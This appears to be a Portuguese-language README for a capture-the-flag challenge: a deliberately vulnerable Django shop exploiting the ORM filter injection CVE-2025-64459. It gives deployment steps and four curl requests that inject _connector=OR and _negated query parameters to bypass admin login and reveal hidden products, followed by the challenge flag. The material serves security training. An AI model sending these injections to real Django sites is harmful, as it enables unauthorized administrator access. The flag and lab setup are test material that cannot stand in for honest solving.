Desafio CTF: Django ORM Injection (CVE-2025-64459)

Categoria: Segurança Web
Dificuldade: Média
Vulnerabilidade: CVE-2025-64459 - Django ORM Filter Injection

📝 Descrição

Construímos uma loja de mercadorias segura com painel de administrador. Consegue contornar a autenticação e encontrar a nota privada do administrador?

URL: http://YOUR_SERVER:6008

🚀 Implantação

cd web_django_cve
docker-compose up --build -d

🎯 Exploits (CVE-2025-64459)

Bypass de Autenticação (/login/)

# Using _connector=OR
curl "http://HOST:8054/login/?username=admin&_connector=OR&is_superuser=True"

# Using _negated
curl "http://HOST:8054/login/?username=admin&_negated=True"

Bypass do Filtro de Produtos (/)

# Negate is_public filter
curl "http://HOST:8054/?_negated=True"

# Direct access
curl "http://HOST:8054/?is_public=False"

🏁 Flag

lol-you-here_then-you_exploited_me